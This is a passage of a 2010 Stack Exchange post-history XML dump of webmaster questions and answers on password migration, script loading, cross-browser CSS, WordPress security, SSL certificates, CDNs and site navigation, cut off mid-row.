  <row Id="1906" PostHistoryTypeId="1" PostId="1062" RevisionGUID="45a2e4ec-12c8-4972-b065-6f0924bdd316" CreationDate="2010-07-16T16:46:41.580" UserId="313" Text="Migrate user accounts out of system with hashed passwords." />
  <row Id="1907" PostHistoryTypeId="3" PostId="1062" RevisionGUID="45a2e4ec-12c8-4972-b065-6f0924bdd316" CreationDate="2010-07-16T16:46:41.580" UserId="313" Text="&lt;site-deployment&gt;&lt;site-maintenance&gt;" />
  <row Id="1908" PostHistoryTypeId="2" PostId="1063" RevisionGUID="d9447ec9-d1c0-47fe-a830-4102e26130db" CreationDate="2010-07-16T16:48:49.253" UserId="500" Text="If your webapp is in PHP you should consider using [minify][1]:&#xD;&#xA;&#xD;&#xA;&gt; *It combines multiple CSS or Javascript files, removes unnecessary whitespace and comments, and serves them with gzip encoding and optimal client-side cache headers.*&#xD;&#xA;&#xD;&#xA;  [1]: http://code.google.com/p/minify/" />
  <row Id="1909" PostHistoryTypeId="16" PostId="1063" RevisionGUID="d9447ec9-d1c0-47fe-a830-4102e26130db" CreationDate="2010-07-16T16:48:49.253" UserId="-1" />
  <row Id="1910" PostHistoryTypeId="2" PostId="1064" RevisionGUID="075df653-8ca8-4261-b659-bbdff3721929" CreationDate="2010-07-16T16:56:15.233" UserId="108" Text="I went through a similar issue recently except I didn't have access to the hash algorithm that was being used.  I think you have 2 choices.&#xD;&#xA;&#xD;&#xA; 1. Move all of the user profiles over&#xD;&#xA;    to the new system and have an extra&#xD;&#xA;    column with their old password hash.&#xD;&#xA; 2. When the user logs in for the first time your system will see no account exists in the new system but a hash exists from the old system.  Your system will keep a pre-hash copy of the password and check the hashed version against the old hash.&#xD;&#xA; 3. If the old hash matches set the password in the new system to what they sent in.&#xD;&#xA;&#xD;&#xA;However, if you find you don't have access to the hash algorithm and you have each users email address you have another choice. This is what I did actually:&#xD;&#xA;&#xD;&#xA; 1. Copy over all of the usernames, email address, and info from the old to the new system.  Put a flag column in the table denoting the user is from the old system.&#xD;&#xA; 2. When the user logs into the new system for the first time, the new system will see that they have an account but have no password.&#xD;&#xA; 3. Have your system put a message on the screen saying something like &quot;We have updated our website and your user account has been converted.  You will receive an email shortly with a new temporary password(make sure the password or special link works for only a short period of time).&#xD;&#xA; 4. Send the user a temp password to your new site that will let them log in.  Once they log in for the first time have them reset their password to whatever they like.&#xD;&#xA;&#xD;&#xA;The second option worked pretty well for me.  I had virtually no user complaints and it is relatively secure since that is the normal process for a user to reset their forgotten password.&#xD;&#xA;&#xD;&#xA;" />
  <row Id="1911" PostHistoryTypeId="2" PostId="1065" RevisionGUID="322ea67f-d5fb-44f2-a8bd-0df3d0ad31d6" CreationDate="2010-07-16T17:02:40.620" UserId="500" Text="A script has no actual use until the HTML has finished loading - a script can’t change the DOM until the HTML has loaded. `document.ready` waits for the DOM to load. So, there's no point it holding up important things like stylesheets.&#xD;&#xA;&#xD;&#xA;Put the scripts at the bottom of the page (before the `&lt;/body&gt;` tag) to order to get your HTML and CSS to the user as quick as you can. The browser will be able to render the page much quicker and then scripts can be loaded, rather than leaving a blank page for the user to stare at whilst they wait for scripts to download.&#xD;&#xA;&#xD;&#xA;While the browser is progressively rendering the page, if it hits a script tag (i.e. a external Javascript file) **everything stops**. Scripts have the right of way - while a script is downloading, the browser won’t start any other download. i.e. Images and stylesheets and any other parallel download will be blocked, even on different hostnames.&#xD;&#xA;&#xD;&#xA;The disadvantage of putting scripts at the bottom of the page is that because the page will render before scripts have initialised, particularly quick clickers will be able to interact with your site before the Javascript is ready.&#xD;&#xA;&#xD;&#xA;*Note:* The opposite is true for Stylesheets - Stylesheets near the bottom of the page block progressive rendering until all stylesheets have been downloaded and moving them to the document `HEAD` eliminates the problem.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;----------&#xD;&#xA;&#xD;&#xA;There is a neat trick in order to load javascript without making the user wait, you can create a `&lt;script/&gt;` element using the DOM `createElement()` method and add it to the page just before the closing `&lt;/body&gt;` tag:&#xD;&#xA;&#xD;&#xA;    var oScript = document.createElement(&quot;script&quot;);&#xD;&#xA;    oScript.src = &quot;/path/to/my.js&quot;;&#xD;&#xA;    document.body.appendChild(oScript);&#xD;&#xA;&#xD;&#xA;The browser doesn't start downloading the js script until the new `&lt;script/&gt;` element is actually added to the page. Once the download is complete, the browser interprets the Javascript code contained within." />
  <row Id="1912" PostHistoryTypeId="6" PostId="1038" RevisionGUID="29c13e21-8807-4a1e-a768-488b803fb04b" CreationDate="2010-07-16T17:06:26.213" UserId="108" Comment="Added 1 tag" Text="&lt;web-hosting&gt;&lt;google-apps&gt;" />
  <row Id="1913" PostHistoryTypeId="2" PostId="1066" RevisionGUID="0f8bbe32-2f25-44b0-a6f8-9e076fdcb567" CreationDate="2010-07-16T17:11:33.680" UserId="287" Text="I don't see anything that says commercial applications are **not** allowed but I also don't see anything that says they **are** allowed.&#xD;&#xA;&#xD;&#xA;Can anyone find anything definitive?" />
  <row Id="1914" PostHistoryTypeId="1" PostId="1066" RevisionGUID="0f8bbe32-2f25-44b0-a6f8-9e076fdcb567" CreationDate="2010-07-16T17:11:33.680" UserId="287" Text="Is Google App Engline permitted for Commercial Use?" />
  <row Id="1915" PostHistoryTypeId="3" PostId="1066" RevisionGUID="0f8bbe32-2f25-44b0-a6f8-9e076fdcb567" CreationDate="2010-07-16T17:11:33.680" UserId="287" Text="&lt;google-apps&gt;" />
  <row Id="1916" PostHistoryTypeId="2" PostId="1067" RevisionGUID="c5b277b8-d4ae-4a08-b759-817df9beb29b" CreationDate="2010-07-16T17:20:01.810" UserId="343" Text="Before you go though too much trouble, have you looked into what the hash algorithm might be?  If they were sane enough to use hashed passwords, hopefully they were sane enough to use a common hash algorithm (MD5, SHA1, etc).&#xD;&#xA;&#xD;&#xA;Might be worthwhile to try out a few common options to see if you can reverse-engineer what they were doing.&#xD;&#xA;&#xD;&#xA;Also, you mention &quot;ripping out some of the code that currently does authentication&quot;.  How is it that you have the code, but not the hash algorithm?" />
  <row Id="1917" PostHistoryTypeId="4" PostId="1066" RevisionGUID="f73b0207-d2f7-4644-9556-8a61d61640b7" CreationDate="2010-07-16T17:24:19.540" UserId="108" Comment="fixed title" Text="Is Google App Engine permitted for Commercial Use?" />
  <row Id="1918" PostHistoryTypeId="2" PostId="1068" RevisionGUID="02579e50-e3cb-4d5b-a7bd-cdeb05e7fd8e" CreationDate="2010-07-16T17:30:51.103" UserId="108" Text="The full Guidelines are here: http://code.google.com/appengine/program_policies.html&#xD;&#xA;&#xD;&#xA;From what I read you can use the App Engine for commercial purposes.  From what I read Google lets you use it for free to get a taste for what it can do.  There specific usage limit is `An application on a free account can use up to 500MB of storage and up to 5 million page views a month` found in http://code.google.com/appengine/docs/whatisgoogleappengine.html.&#xD;&#xA;&#xD;&#xA;So basically it is free for any use deemed as legal within their policies (no spam, porn, etc) up to the limit.  Once you go beyond that you will have to pay for your usage." />
  <row Id="1919" PostHistoryTypeId="2" PostId="1069" RevisionGUID="aa5d3f8c-5a51-45b9-98ab-9a24ceba72c0" CreationDate="2010-07-16T17:34:25.873" UserId="432" Text="The best, easiest way is to use a library. Libraries like OOCSS, Blueprint, or 960gs are already engineered to replicate their display across the major browsers. All you're left with after that, most of the time, is your making sure your custom styles are cross-browser compliant and that your markup doesn't produce any problems.&#xD;&#xA;&#xD;&#xA;Avoid hacks like the plague if at all possible (yes, use conditionals)." />
  <row Id="1920" PostHistoryTypeId="2" PostId="1070" RevisionGUID="4fd6f558-9c08-4853-9ca1-7efa550c64ed" CreationDate="2010-07-16T18:49:26.927" UserId="61" Text="Use whatever you already know. Most all of them can accomplish whatever you need to do." />
  <row Id="1921" PostHistoryTypeId="2" PostId="1071" RevisionGUID="5b373c4f-4fae-41e7-bffc-4671348501e6" CreationDate="2010-07-16T18:50:30.293" UserId="512" Text="I work for a government agency, and we're thinking about creating a new, fairly large site using WordPress as the platform. It would involve allowing quite a few people around the state access to the site as editors, bringing together an even larger pool of content creators.&#xD;&#xA;&#xD;&#xA;This is the first site like this I've created/run, although I feel solid on the basics of WordPress. What should I watch out for in terms of setup, maintenance, hosting, security etc.? I'm hoping to talk with some WordPress veterans to figure out the questions I haven't already asked myself, you know? Thanks." />
  <row Id="1922" PostHistoryTypeId="1" PostId="1071" RevisionGUID="5b373c4f-4fae-41e7-bffc-4671348501e6" CreationDate="2010-07-16T18:50:30.293" UserId="512" Text="Using WordPress for large collaborative site" />
  <row Id="1923" PostHistoryTypeId="3" PostId="1071" RevisionGUID="5b373c4f-4fae-41e7-bffc-4671348501e6" CreationDate="2010-07-16T18:50:30.293" UserId="512" Text="&lt;security&gt;&lt;wordpress&gt;&lt;site-maintenance&gt;" />
  <row Id="1924" PostHistoryTypeId="2" PostId="1072" RevisionGUID="74408d9e-4912-4c7a-bb74-3f0105d8c6ae" CreationDate="2010-07-16T18:54:49.613" UserId="513" Text="I can usually do my maintenance with trivial bash/ksh(depending on server) scripts. When I need any kind of logic or something that gets sorta tricky in such a shell though, I prefer using Ruby. Probably my favorite feature of Ruby for this is how easy it is to execute an external command&#xD;&#xA;&#xD;&#xA;    directories=`ls -l`" />
  <row Id="1925" PostHistoryTypeId="16" PostId="1072" RevisionGUID="74408d9e-4912-4c7a-bb74-3f0105d8c6ae" CreationDate="2010-07-16T18:55:03.810" UserId="513" />
  <row Id="1926" PostHistoryTypeId="16" PostId="1059" RevisionGUID="39d1ff0e-ff78-4adf-9f6d-a2405ae60964" CreationDate="2010-07-16T19:00:51.753" UserId="41" />
  <row Id="1927" PostHistoryTypeId="2" PostId="1073" RevisionGUID="5ca3d73a-d40c-49ec-b399-abd5f5bb1bd9" CreationDate="2010-07-16T19:01:22.767" UserId="516" Text="I'm pretty sure Amazon S3 can handle it. If not, you can setup whatever you want with EC2. Also, there is this:&#xD;&#xA;&#xD;&#xA;http://flowplayer.org/plugins/streaming/cdn.html" />
  <row Id="1928" PostHistoryTypeId="2" PostId="1074" RevisionGUID="a4bb17e7-f8ab-448c-9b18-3ca46d2b4a5d" CreationDate="2010-07-16T19:01:28.570" UserId="513" Text="We have a web application we will be launching soonish and for right now we just have one SSL/HTTPS certificate. We have this one certificate shared across 3 servers(in a cluster for load balancing) which we've been told is &quot;not the right way&quot;... &#xD;&#xA;&#xD;&#xA;So do you always have to buy N certificates for N servers or is there a special &quot;shared&quot; certificate or such? Why is it not right to share the certificate when these 3 servers are exactly the same hardware and software?" />
  <row Id="1929" PostHistoryTypeId="1" PostId="1074" RevisionGUID="a4bb17e7-f8ab-448c-9b18-3ca46d2b4a5d" CreationDate="2010-07-16T19:01:28.570" UserId="513" Text="Is it possible to share SSL certificates across servers?" />
  <row Id="1930" PostHistoryTypeId="3" PostId="1074" RevisionGUID="a4bb17e7-f8ab-448c-9b18-3ca46d2b4a5d" CreationDate="2010-07-16T19:01:28.570" UserId="513" Text="&lt;ssl&gt;&lt;ssl-certificate&gt;" />
  <row Id="1931" PostHistoryTypeId="2" PostId="1075" RevisionGUID="93c69bc8-f070-48aa-85a1-cfed0aa3d0f2" CreationDate="2010-07-16T19:07:15.110" UserId="343" Text="Have a look at this question:&#xD;&#xA;&#xD;&#xA;http://serverfault.com/questions/68753/does-each-server-behind-a-load-balancer-need-their-own-ssl-certificate" />
  <row Id="1932" PostHistoryTypeId="2" PostId="1076" RevisionGUID="96b5e454-ba35-4df4-a2d3-39776fe131da" CreationDate="2010-07-16T19:07:25.187" UserId="514" Text="We have a site that requires users to sign into.  Typical stuff.  Today, all the content (dynamic and static) is behind the login process, and you cannot access any of the pages or files via a URL unless you are logged in.  This even applies for images, css, js, etc.  This is a requirment, the content cannot be open to the world.&#xD;&#xA;&#xD;&#xA;We have been thinking of moving the static content off to a separate server for performance and scalability reasons, but are unsure how to do this, and still have these files secure and not open to the world.  Basically, the authentication would need to be passed to the separate server (or CDN) and verified before we could serve it up.&#xD;&#xA;&#xD;&#xA;Perhaps this is not possible, and it is not a good case for separating static and dynamic content.&#xD;&#xA;&#xD;&#xA;We are running a Microsoft Stack - ASP.NET, IIS 6, but could go IIS 7-7.5." />
  <row Id="1933" PostHistoryTypeId="1" PostId="1076" RevisionGUID="96b5e454-ba35-4df4-a2d3-39776fe131da" CreationDate="2010-07-16T19:07:25.187" UserId="514" Text="CDN for authenticated sites" />
  <row Id="1934" PostHistoryTypeId="3" PostId="1076" RevisionGUID="96b5e454-ba35-4df4-a2d3-39776fe131da" CreationDate="2010-07-16T19:07:25.187" UserId="514" Text="&lt;performance&gt;&lt;authentication&gt;&lt;cdn&gt;&lt;website-design&gt;" />
  <row Id="1935" PostHistoryTypeId="5" PostId="1016" RevisionGUID="33d9980c-fef1-46f9-bce6-9a6e178c367e" CreationDate="2010-07-16T19:07:30.180" UserId="179" Comment="added a warning to the beginning since my hacks example is first but worst." Text="&lt;em&gt;Prefacing this with a warning against using CSS hacks.&lt;/em&gt;&#xD;&#xA;&#xD;&#xA;From a pure performance standpoint, caching will be more effective with a single file if for no other reason than it responds once to a single HTTP request from the client. In addition to serving the same file to every user regardless of browser, &lt;a href=&quot;http://www.phpied.com/conditional-comments-block-downloads/&quot;&gt;Conditional comments block downloads&lt;/a&gt; in some situations.&#xD;&#xA;&#xD;&#xA;To target all your different Internet Explorer versions in a single file there are various CSS hacks. Keep in mind that these will render your CSS invalid (if validation is a concern for you).&#xD;&#xA;&#xD;&#xA;&lt;pre&gt;body {  &#xD;&#xA;	color: red;			/* all browsers */  &#xD;&#xA;	color : green\9;	/* IE8 and below */  &#xD;&#xA;	*color : yellow;	/* IE7 and below */  &#xD;&#xA;	_color : orange;	/* IE6 */  &#xD;&#xA;}&lt;/pre&gt;&#xD;&#xA;&#xD;&#xA;The conditional comments blocking is really only an issue in &lt;em&gt;some&lt;/em&gt; cases in IE8 when there is a conditional comment. Depending on what you think about supporting Internet Explorer, this may or may not be an issue.&#xD;&#xA;&#xD;&#xA;I personally use conditional comments. I personally believe that CSS hacks are awful, and that any performance hit that comes from conditional comments be it real or imagined is &lt;em&gt;not worth the trouble&lt;/em&gt; that CSS hacks often cause.&#xD;&#xA;&#xD;&#xA;Conditional comments are relatively easy to implement, and there's a &lt;a href=&quot;http://www.quirksmode.org/css/condcom.html&quot;&gt;great article&lt;/a&gt; about their use on Quirksmode. The following will address only IE6:&#xD;&#xA;&#xD;&#xA;&lt;pre&gt;&amp;lt;!--[if IE 6]&amp;gt;&#xD;&#xA;    &amp;lt;link rel=&quot;stylesheet&quot; type=&quot;text/css&quot; href=&quot;/media/css/ie6.css&quot; /&amp;gt;&#xD;&#xA;&amp;lt;![endif]--&amp;gt;&lt;/pre&gt;&#xD;&#xA;&#xD;&#xA;There is syntax that will allow you to target Internet Explorer of version equal to, less than, greater than, less than or equal to, greater than or equal to a given version number. The example above is one of equal to." />
  <row Id="1936" PostHistoryTypeId="2" PostId="1077" RevisionGUID="3fbacce1-038d-4fab-9dcf-d58fb6842168" CreationDate="2010-07-16T19:34:57.320" UserDisplayName="Book 'em Danno" Text="Quick and easy answer - [linkrep.seofox.com][1]&#xD;&#xA;&#xD;&#xA;buy a link report about your competitor's site and you'll get a break down of his backlinks into categories - which links are coming from homepages, how many unique IP's he's got linking to him, etc. If you buy a report on your own site, you can then run a comparison report between the two for free and see which categories he's beating you in.&#xD;&#xA;&#xD;&#xA;And each report is only $10. Cheaper if you buy a few at a time. Well worth every penny.&#xD;&#xA;&#xD;&#xA;  [1]: http://linkrep.seofox.com" />
  <row Id="1937" PostHistoryTypeId="2" PostId="1078" RevisionGUID="e827eb73-327a-458b-92bb-2e46249daf85" CreationDate="2010-07-16T19:42:54.120" UserId="210" Text="What I do is use a reset CSS and then conditional statements. The reset CSS fixes almost all of the problems and the conditional fix any problems in IE. If there are differences between the other browsers, I usually try to work around them, such as increasing the width for all browsers or a font size.&#xD;&#xA;&#xD;&#xA;I personally use the YUI reset CSS." />
  <row Id="1938" PostHistoryTypeId="2" PostId="1079" RevisionGUID="8cf31b39-663b-401f-a0fe-cc1e54a64e85" CreationDate="2010-07-16T19:44:25.690" UserId="432" Text="Some quick Googling gave me this: http://sldn.softlayer.com/wiki/index.php/SoftLayer_Network_ContentDelivery_Authentication_Token&#xD;&#xA;&#xD;&#xA;Looks like, at least with SoftLayer, you can set a token on the user's machine that lets them authenticate with the CDN, thus allowing access to the content. I'm sure this ability varies based on CDN." />
  <row Id="1939" PostHistoryTypeId="2" PostId="1080" RevisionGUID="2a3b2ac1-2918-4adf-8627-0f3aa3dfe5c3" CreationDate="2010-07-16T19:51:32.367" UserId="61" Text="There are many large sites running Wordpress. &#xD;&#xA;&#xD;&#xA;Setup is a breeze.&#xD;&#xA;&#xD;&#xA;Maintenance (bugs and security) is taken care of by the Wordpress community. &#xD;&#xA;&#xD;&#xA;Make sure to get a good caching add on. These make a big difference.&#xD;&#xA;&#xD;&#xA;Security however is a downside. Lately (last couple months) many sites have been hacked.I am not sure how large of concern this is, but it could be a problem. " />
  <row Id="1940" PostHistoryTypeId="2" PostId="1081" RevisionGUID="740408c1-e1e1-4607-b175-ccb9faf3f532" CreationDate="2010-07-16T19:52:43.300" UserId="288" Text="Check out the Wordpress page on [User Roles][1] it defines what each role can do:&#xD;&#xA;&#xD;&#xA;&gt; There are four roles for users that you wish to add to your blog: Administrator, Editor, Author, and Contributor.&#xD;&#xA;&#xD;&#xA;&gt; **Important**: Please be careful of the roles you give users on your blog. If you add a user as an administrator, you are granting full ownership rights to him/her. This means that if he/she deletes the blog and/or its content, there is no wrongdoing. For this reason, we recommend having only one administrator per blog&#xD;&#xA;&#xD;&#xA;For a full description of the roles see the help page.&#xD;&#xA;&#xD;&#xA;If possible assign people to the lowest level role possible, don't be tempted to make everyone an editor for example.&#xD;&#xA;&#xD;&#xA;The fewer people there are with rights to make large and permanent changes the less chance there is that they'll get in each other's way.&#xD;&#xA;&#xD;&#xA;[1]: http://en.support.wordpress.com/user-roles/" />
  <row Id="1941" PostHistoryTypeId="2" PostId="1082" RevisionGUID="8b37ef39-5c4f-40d4-93ae-4bdb12a78d47" CreationDate="2010-07-16T19:55:17.507" UserId="110" Text="Our site is pretty old and the navigation is currently a large list of links on the left side of our page.  (We use CSS similar to suckerfish to collapse it)&#xD;&#xA;&#xD;&#xA;Our site is mainly informational, with topics from news releases to science papers to social media links and multimedia.&#xD;&#xA;&#xD;&#xA;How to make effective top navigation?  Use a classic top nav with contextual side navigation?  How many menu items become too many?  How much of the page should be dedicated to navigation?  What sort of principles guide the decision as to where something goes in my menus?" />
  <row Id="1942" PostHistoryTypeId="1" PostId="1082" RevisionGUID="8b37ef39-5c4f-40d4-93ae-4bdb12a78d47" CreationDate="2010-07-16T19:55:17.507" UserId="110" Text="What to think about for top navigation for an informational site" />
  <row Id="1943" PostHistoryTypeId="3" PostId="1082" RevisionGUID="8b37ef39-5c4f-40d4-93ae-4bdb12a78d47" CreationDate="2010-07-16T19:55:17.507" UserId="110" Text="&lt;best-practice&gt;&lt;content&gt;&lt;navigation&gt;" />
  <row Id="1944" PostHistoryTypeId="2" PostId="1083" RevisionGUID="21f2999e-a296-43ec-a496-5c553e1f2c23" CreationDate="2010-07-16T20:01:36.227" UserId="110" Text="I have noticed that lots of new site use a gigantic footer with columns that represent their navigation?  What is the philosophy behind them?  Are they for SEO, semantic layout, or is that information just required but not important.&#xD;&#xA;&#xD;&#xA;Examples:&#xD;&#xA;&#xD;&#xA; - [http://www.mint.com/][1]&#xD;&#xA; - [http://www.oregonlive.com/][2]&#xD;&#xA; - [http://moms4mom.com/][3]&#xD;&#xA; - [http://arstechnica.com/][4]&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.mint.com/&#xD;&#xA;  [2]: http://www.oregonlive.com/&#xD;&#xA;  [3]: http://moms4mom.com/&#xD;&#xA;  [4]: http://arstechnica.com/" />
  <row Id="1945" PostHistoryTypeId="1" PostId="1083" RevisionGUID="21f2999e-a296-43ec-a496-5c553e1f2c23" CreationDate="2010-07-16T20:01:36.227" UserId="110" Text="Large site footers" />
  <row Id="1946" PostHistoryTypeId="3" PostId="1083" RevisionGUID="21f2999e-a296-43ec-a496-5c553e1f2c23" CreationDate="2010-07-16T20:01:36.227" UserId="110" Text="&lt;seo&gt;&lt;best-practice&gt;&lt;website-design&gt;&lt;navigation&gt;" />
  <row Id="1947" PostHistoryTypeId="5" PostId="971" RevisionGUID="f00c7ad0-fefd-417a-9667-07f7eb5e1661" CreationDate="2010-07-16T20:12:21.473" UserId="29" Comment="deleted 51 characters in body; edited tags; deleted 55 characters in body" Text="What are the best ways to implement cross browser css?&#xD;&#xA;&#xD;&#xA;Rule: one approach for an answer. " />
  <row Id="1948" PostHistoryTypeId="6" PostId="971" RevisionGUID="f00c7ad0-fefd-417a-9667-07f7eb5e1661" CreationDate="2010-07-16T20:12:21.473" UserId="29" Comment="deleted 51 characters in body; edited tags; deleted 55 characters in body" Text="&lt;css&gt;&lt;cross-browser&gt;&lt;browser-detecting&gt;" />
  <row Id="1949" PostHistoryTypeId="2" PostId="1084" RevisionGUID="fe6a116f-ba99-4361-826c-64b5ae79d358" CreationDate="2010-07-16T20:13:06.823" UserId="524" Text="Usability and SEO.&#xD;&#xA;&#xD;&#xA;Much of the information in footers is the standard contact us, faq, location, etc. This makes it easy for a visitor to find this information rather than hunt down some hidden link.&#xD;&#xA;&#xD;&#xA;Also SEO. It places their Facebook, Tweets, etc. in the footer so that Google can pick up on what keywords they want to feature." />
  <row Id="1950" PostHistoryTypeId="2" PostId="1085" RevisionGUID="81548200-094e-48e3-8d4e-028ce30a43e5" CreationDate="2010-07-16T20:28:04.523" UserId="524" Text="If you gave a link to your site, we could help a whole lot more.&#xD;&#xA;&#xD;&#xA;Pros&#xD;&#xA;Top navigation gives your content more width. It doesn't tie up valuable width space of the page.&#xD;&#xA;Top navigation is easier for a visitor to find and understand&#xD;&#xA;If done correctly, Mega Menus provide a great way to cram a lot of information in top menus.&#xD;&#xA;http://www.useit.com/alertbox/mega-dropdown-menus.html&#xD;&#xA;&#xD;&#xA;Cons&#xD;&#xA;You have to limit the amount of menu options or it will too wide or wrap around.&#xD;&#xA;It's not as easy to provide contextual submenus with a top menu strategy. &#xD;&#xA;&#xD;&#xA;" />
  <row Id="1951" PostHistoryTypeId="2" PostId="1086" RevisionGUID="2ceccb13-8bca-47e5-b9eb-ca726a204b7b" CreationDate="2010-07-16T20:32:18.820" UserId="524" Text="BASH is probably going to your most universally installed on most *nix systems today.&#xD;&#xA;&#xD;&#xA;PERL is for intense text parsing, probably not the best for basic server admin stuff.&#xD;&#xA;&#xD;&#xA;RUBY or PHP for server admin? That's a new idea.&#xD;&#xA;&#xD;&#xA;Some of the tools you'll also want to arm yourself with are AWK and SED. They'll make parsing stuff a little easier.&#xD;&#xA;&#xD;&#xA;Good Luck." />
  <row Id="1952" PostHistoryTypeId="16" PostId="1086" RevisionGUID="2ceccb13-8bca-47e5-b9eb-ca726a204b7b" CreationDate="2010-07-16T20:32:18.820" UserId="-1" />
  <row Id="1953" PostHistoryTypeId="2" PostId="1087" RevisionGUID="9d6288e9-7613-4fbf-b899-63ef0e76c7bd" CreationDate="2010-07-16T20:36:50.667" UserId="328" Text="As someone suggested a CDN with a token system should allow you to generate tokens for users, but this will likely end up in reducing the performance to that of delivering your files from the same server or worse." />
  <row Id="1954" PostHistoryTypeId="2" PostId="1088" RevisionGUID="c1db57d2-e961-4e6b-afef-de42668df391" CreationDate="2010-07-16T20:43:06.877" UserId="363" Text="How about having a A-Z option on your top nav, this is great for lots of listings of information, have a look at this link&#xD;&#xA;&#xD;&#xA;http://www.ihwy.com/labs/demos/current/jquery-listmenu-plugin.aspx&#xD;&#xA;&#xD;&#xA;" />
  <row Id="1955" PostHistoryTypeId="2" PostId="1089" RevisionGUID="b37f9ae6-bb41-4aae-980e-df13217a0b4b" CreationDate="2010-07-16T20:43:13.957" UserId="454" Text="The concept of the &quot;SEO Footer&quot; is a pretty lame and old technique, but not all SEO Footers are created equal. &#xD;&#xA;&#xD;&#xA;The mint.com footer, many tiny links, almost the same color as the template, is lame and verging on grey hat. &#xD;&#xA;&#xD;&#xA;The arstechnica footer is totally logical / ethical / usable / whatever. &#xD;&#xA;&#xD;&#xA;You can tell that mint.com is pretty aggressively SEO'd - 90 character, no stop-word titles,  perfect canonicalization, perfect image alts. &#xD;&#xA;&#xD;&#xA;They're probably primarily doing the SEO footer for site-wide keyword rich internal anchor text. &#xD;&#xA;&#xD;&#xA;Maybe they're also worried that search engines wont crawl the drop-down menus. &#xD;&#xA;&#xD;&#xA;" />
  <row Id="1956" PostHistoryTypeId="5" PostId="1082" RevisionGUID="803824cd-67fc-4d25-8753-1e6bd9bf9402" CreationDate="2010-07-16T20:47:55.867" UserId="110" Comment="Added extra thoughts about my site" Text="Our site is pretty old and the navigation is currently a large list of links on the left side of our page.  (We use CSS similar to suckerfish to collapse it)&#xD;&#xA;&#xD;&#xA;Our site is mainly informational, with topics from news releases to science papers to social media links and multimedia.&#xD;&#xA;&#xD;&#xA;How to make effective top navigation?  Use a classic top nav with contextual side navigation?  How many menu items become too many?  How much of the page should be dedicated to navigation?  What sort of principles guide the decision as to where something goes in my menus?&#xD;&#xA;&#xD;&#xA;EDIT:&#xD;&#xA;&#xD;&#xA;This is a .gov site, therefore much of the content is esoteric and not for everybody.  However if you need it, you really need it.  And in our case, about 50% of our visitors are probably looking to argue with us (meaning they are on the hostile side to begin with)" />
  <row Id="1957" PostHistoryTypeId="2" PostId="1090" RevisionGUID="1f86a913-bdae-47b0-bf25-6e998f474689" CreationDate="2010-07-16T20:56:09.107" UserId="313" Text="Even if you are decent with the tools (Photoshop, Illustrator, whatever), it's still way too easy to end up with a lousy design.  I've found that sharpening my wireframing skills has had one of the largest overall impacts to my design quality.  As such, I highly recommend the following:&#xD;&#xA;&#xD;&#xA;Recorded MIX 2010 session: [Lifecycle of a Wireframe][1]&#xD;&#xA;&#xD;&#xA;  [1]: http://live.visitmix.com/MIX10/Sessions/DS04" />
  <row Id="1958" PostHistoryTypeId="5" PostId="1050" RevisionGUID="50aeedfd-7975-4c7e-b59d-e909f0220ff1" CreationDate="2010-07-16T21:00:20.750" UserId="26" Comment="fixed xml typo" Text="An additional technique Google recommends is an [Image Sitemap][1], for which you add an `&lt;image&gt;` tag to the normal sitemap XML, and apply metadata for the search engine:&#xD;&#xA;&#xD;&#xA;&gt; With image search, just as with web&#xD;&#xA;&gt; search, Google's goal is to provide&#xD;&#xA;&gt; the best and most relevant search&#xD;&#xA;&gt; results to our users. Following&#xD;&#xA;&gt; Google's [Webmaster Guidelines][2] and [best&#xD;&#xA;&gt; practices for publishing images][3] can&#xD;&#xA;&gt; increase the likelihood that your&#xD;&#xA;&gt; images will be returned in those&#xD;&#xA;&gt; search results. In addition, you can&#xD;&#xA;&gt; also use Google's image extensions for&#xD;&#xA;&gt; Sitemaps to give Google additional&#xD;&#xA;&gt; information about the images on your&#xD;&#xA;&gt; site's URLs. Doing this can help&#xD;&#xA;&gt; Google discover images we might not&#xD;&#xA;&gt; otherwise find (such as images that&#xD;&#xA;&gt; are reached via JavaScript forms), and&#xD;&#xA;&gt; also enables you to identify the most&#xD;&#xA;&gt; important images on a page. For&#xD;&#xA;&gt; example, if your site uses templates,&#xD;&#xA;&gt; every page might feature a boilerplate&#xD;&#xA;&gt; image. By not listing this image in&#xD;&#xA;&gt; your Sitemap, you're telling Google&#xD;&#xA;&gt; that it's less important than the&#xD;&#xA;&gt; images you have included. However,&#xD;&#xA;&gt; Google doesn't guarantee that we'll&#xD;&#xA;&gt; index all of your images or use all of&#xD;&#xA;&gt; the information in your Sitemap.&#xD;&#xA;&gt; &#xD;&#xA;&gt; To give Google information about&#xD;&#xA;&gt; images on your site, you'll need to&#xD;&#xA;&gt; begin by creating a [standard web&#xD;&#xA;&gt; Sitemap][4]. (You can also update an&#xD;&#xA;&gt; existing Sitemap.)&#xD;&#xA;&gt; &#xD;&#xA;&gt; For each URL you list in your Sitemap,&#xD;&#xA;&gt; add additional information about&#xD;&#xA;&gt; important images on that page. The&#xD;&#xA;&gt; following example shows a Sitemap&#xD;&#xA;&gt; entry for the URL&#xD;&#xA;&gt; http://example.com/sample.html, which&#xD;&#xA;&gt; contains two images. (You can list up&#xD;&#xA;&gt; to 1,000 images for each page.)&#xD;&#xA;&#xD;&#xA;    &lt;?xml version=&quot;1.0&quot; encoding=&quot;UTF-8&quot;?&gt;&#xD;&#xA;     &lt;urlset xmlns=&quot;http://www.sitemaps.org/schemas/sitemap/0.9&quot;&#xD;&#xA;      xmlns:image=&quot;http://www.google.com/schemas/sitemap-image/1.1&quot;&gt;&#xD;&#xA;     &lt;url&gt;&#xD;&#xA;       &lt;loc&gt;http://example.com/sample.html&lt;/loc&gt;&#xD;&#xA;       &lt;image:image&gt;&#xD;&#xA;         &lt;image:loc&gt;http://example.com/image1.jpg&lt;/image:loc&gt;&#xD;&#xA;    	 &lt;image:caption&gt;Something about image 1&lt;/image:caption&gt;&#xD;&#xA;    	 &lt;image:title&gt;The title of image 1&lt;/image:caption&gt;&#xD;&#xA;    	 &lt;image:licence&gt;[[A URL to the license of the image]]&lt;/image:licence&gt;&#xD;&#xA;    	 &lt;image:geo_location&gt;New York, New York, USA&lt;/image:geo_location&gt;&#xD;&#xA;       &lt;/image:image&gt;&#xD;&#xA;       &lt;!-- more images as you like... --&gt;&#xD;&#xA;     &lt;/url&gt; &#xD;&#xA;    &lt;/urlset&gt;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.google.com/support/webmasters/bin/answer.py?hl=en&amp;answer=178636&#xD;&#xA;  [2]: http://www.google.com/support/webmasters/bin/answer.py?answer=35769&#xD;&#xA;  [3]: 